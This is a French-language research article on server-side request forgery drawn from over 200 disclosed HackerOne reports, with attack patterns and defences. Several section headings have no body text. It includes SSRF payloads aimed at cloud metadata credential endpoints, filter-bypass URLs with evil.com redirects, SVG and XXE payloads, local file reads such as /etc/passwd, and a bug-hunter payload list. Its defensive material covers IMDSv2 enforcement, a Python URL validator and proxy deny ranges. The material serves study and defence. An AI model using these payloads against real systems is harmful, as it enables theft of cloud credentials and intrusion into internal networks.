SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Réelles

🔍 Résumé Exécutif

Le Server-Side Request Forgery (SSRF) s'est imposé comme l'une des classes de vulnérabilités les plus dangereuses dans les applications cloud-natives modernes, obtenant une reconnaissance dédiée en tant que OWASP Top 10 A10:2021. À travers l'analyse de 217 rapports SSRF divulgués sur HackerOne couvrant la période 2014–2025, cette étude expose comment les attaquants exploitent les applications pour atteindre les services internes, les endpoints de métadonnées cloud et l'infrastructure sensible.

Notre analyse révèle que les vulnérabilités SSRF ont généré plus de 92 757 $ en primes divulguées, avec des rapports individuels atteignant 10 000 $. Cependant, le véritable impact va bien au-delà des primes de bug bounty : le SSRF a permis aux attaquants de voler des identifiants AWS, d'obtenir un accès root aux instances cloud, d'exfiltrer des données internes et de pivoter à travers des réseaux internes entiers. Le SSRF de Shopify Exchange a seul été récompensé de 25 000 $ après que le chercheur a démontré un accès root sur toutes les instances d'un sous-ensemble d'infrastructure.

🎯 Qu'est-ce que le SSRF ?

Le Server-Side Request Forgery se produit quand un attaquant peut induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire ou une ressource interne de son choix. Contrairement aux attaques côté client, le SSRF exploite la position réseau du serveur et ses relations de confiance.

# Requête légitime — récupère une URL externe pour l'aperçu
POST /api/fetch-url HTTP/1.1
{"url": "https://example.com/article"}

# L'attaquant exploite pour atteindre les métadonnées cloud
POST /api/fetch-url HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# L'attaquant pivote vers les services internes
POST /api/fetch-url HTTP/1.1
{"url": "http://internal-api.corp:8080/admin/users"}

📊 Méthodologie d'Analyse

Cette étude examine 217 rapports SSRF divulgués depuis le Hacktivity de HackerOne, en se concentrant sur :

🔥 Résultats Clés

1. Distribution de Sévérité — Le SSRF Vise Haut

2. Tendances Temporelles — Pic en 2020, Présence Constante

3. Programmes les Plus Ciblés

🔬 Analyse Approfondie des Schémas d'Attaque

Schéma 1 : Blind SSRF — La Variante la Plus Courante

# Étape 1 : Injecter une URL contrôlée par l'attaquant
POST /api/webhook HTTP/1.1
{"callback_url": "https://attacker-burp-collaborator.net"}

# Étape 2 : Observer l'interaction DNS/HTTP dans Burp Collaborator
# Confirme que le serveur a effectué la requête depuis le réseau interne

# Étape 3 : Pivoter vers le scan de ports
POST /api/webhook HTTP/1.1
{"callback_url": "http://127.0.0.1:6379"}  # Redis
# La différence de temps de réponse révèle les ports ouverts

Schéma 2 : Full-Read SSRF — Impact Maximum

# L'attaquant demande les métadonnées AWS
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Le serveur renvoie les identifiants temporaires AWS
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "FwoGZX...",
  "Expiration": "2024-03-15T12:00:00Z"
}

Schéma 3 : Exploitation des Métadonnées Cloud

# AWS Instance Metadata Service (IMDSv1 — aucune authentification requise)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP Metadata (nécessite un header)
http://metadata.google.internal/computeMetadata/v1/

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Schéma 4 : Attaques par DNS Rebinding

Schéma 5 : Techniques de Contournement de Filtres SSRF

# Technique de contournement 1 : IPv6 mappée vers IPv4
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:169.254.169.254]/

# Technique de contournement 2 : Encodage IP Décimal/Octal/Hex
http://2130706433/         # Décimal pour 127.0.0.1
http://0x7f000001/         # Hex pour 127.0.0.1
http://017700000001/       # Octal pour 127.0.0.1
http://0177.0.0.1/         # Octal mixte

# Technique de contournement 3 : Incohérences d'analyse d'URL
http://evil.com@127.0.0.1/  # Confusion hôte/identifiants
http://127.0.0.1#@evil.com  # Injection de fragment
http://127.0.0.1%00@evil.com  # Octet nul

# Technique de contournement 4 : Chaînes de redirections
http://evil.com/redirect?to=http://169.254.169.254/

# Technique de contournement 5 : Point final dans le domaine
http://internal-service.  # Le point final contourne les listes de refus

# Technique de contournement 6 : URL relative au protocole
//127.0.0.1/admin

Schéma 6 : SSRF via Upload de Fichiers & Fonctionnalités d'Import

<!-- SSRF basé sur SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

<!-- SSRF basé sur XXE via upload XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

<!-- SSRF via générateur PDF par injection HTML -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

Schéma 7 : SSRF via Webhooks & Intégrations

# Configuration de webhook pointant vers un service interne
POST /api/integrations/webhook
{
  "name": "Mon Intégration",
  "url": "http://169.254.169.254/latest/meta-data/",
  "events": ["order.created"]
}

# Quand l'événement se déclenche, le serveur envoie la requête
# vers la destination contrôlée par l'attaquant ou l'infrastructure interne

💰 Analyse d'Impact Financier

Rapports aux Primes les Plus Élevées :

🏭 Analyse d'Impact par Industrie

🔬 Plongée Technique : La Kill Chain SSRF

🔥 Étude de Cas : Shopify Exchange → Accès Root

🔥 Étude de Cas : Le Propre SSRF de HackerOne → 25 000 $

🛡️ Stratégies de Prévention

# AWS : Imposer IMDSv2 (requiert un accès basé sur des tokens)
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Déployer un proxy de dissimulation de métadonnées (comme Shopify)
# Bloquer 169.254.169.254 au niveau réseau via iptables/security groups

# Kubernetes : Bloquer les métadonnées via NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

import ipaddress
import urllib.parse
import socket

ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),       # Loopback
    ipaddress.ip_network('10.0.0.0/8'),         # Privé
    ipaddress.ip_network('172.16.0.0/12'),      # Privé
    ipaddress.ip_network('192.168.0.0/16'),     # Privé
    ipaddress.ip_network('169.254.0.0/16'),     # Link-local (métadonnées !)
    ipaddress.ip_network('0.0.0.0/8'),          # Spécial
    ipaddress.ip_network('::1/128'),            # Loopback IPv6
    ipaddress.ip_network('::ffff:0:0/96'),      # IPv6 mappé IPv4
]

def validate_url(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    
    # 1. Protocole en liste blanche
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    
    # 2. Résoudre le hostname, valider l'IP résolue (pas le hostname !)
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
    except (socket.gaierror, ValueError):
        return False
    
    # 3. Bloquer les IPs privées/internes
    for network in BLOCKED_NETWORKS:
        if ip in network:
            return False
    
    # 4. Re-valider après redirection (critique contre le DNS rebinding !)
    return True

# Stratégie d'épinglage DNS
def safe_fetch(url: str) -> bytes:
    parsed = urllib.parse.urlparse(url)
    
    # Étape 1 : Résoudre et valider
    resolved_ip = resolve_and_validate(parsed.hostname)
    
    # Étape 2 : Se connecter directement à l'IP résolue (contourne le DNS)
    # Empêche le DNS rebinding entre la validation et la requête
    response = requests.get(
        url,
        headers={'Host': parsed.hostname},
        allow_redirects=False,  # Gérer les redirections manuellement !
        timeout=5,
        # Forcer la connexion à l'IP validée
        # via un adaptateur personnalisé ou un override de socket
    )
    
    # Étape 3 : Valider toute URL de redirection avant de la suivre
    if response.is_redirect:
        redirect_url = response.headers['Location']
        validate_url(redirect_url)  # Re-valider !
    
    return response.content

# Proxy egress de type Smokescreen (utilisé par Stripe, Shopify)
# Tout le HTTP sortant de l'application transite par ce proxy
# Le proxy impose :
#   - Aucune connexion aux plages IP internes
#   - Aucune connexion aux endpoints de métadonnées cloud
#   - Aucune connexion aux domaines refusés
#   - La résolution DNS se fait dans le proxy (empêche le rebinding)

proxy_config:
  deny_ranges:
    - "127.0.0.0/8"
    - "10.0.0.0/8"
    - "169.254.0.0/16"
    - "172.16.0.0/12"
    - "192.168.0.0/16"
  deny_domains:
    - "*.internal"
    - "metadata.google.internal"

🧪 Méthodologie de Test pour les Chasseurs de Bugs

url, uri, src, href, link, callback, redirect, proxy, endpoint
dest, target, path, host, domain, site, page, feed, webhook
image_url, icon_url, avatar_url, logo_url, preview_url
import_url, fetch_url, load_url, download_url, file_url
next, return, continue, forward, redir, out, view, show

# Endpoints de métadonnées cloud
http://169.254.169.254/latest/meta-data/          # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance            # Azure

# Services internes
http://127.0.0.1:6379/       # Redis
http://127.0.0.1:9200/       # Elasticsearch
http://127.0.0.1:2375/       # Docker API
http://127.0.0.1:5985/       # WinRM
http://127.0.0.1:8500/       # Consul

# Lecture de fichiers locaux
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/tcp

# Astuces d'encodage IP
http://0x7f000001/            # Hex
http://2130706433/            # Décimal
http://017700000001/          # Octal
http://[::ffff:127.0.0.1]/   # IPv6 mappé
http://127.1/                 # Raccourci
http://0/                     # Zéro

👥 Profils des Chercheurs & Répartition Géographique

🔮 Tendances Futures et Menaces Émergentes

🏢 Recommandations pour les Organisations

🎯 Conclusion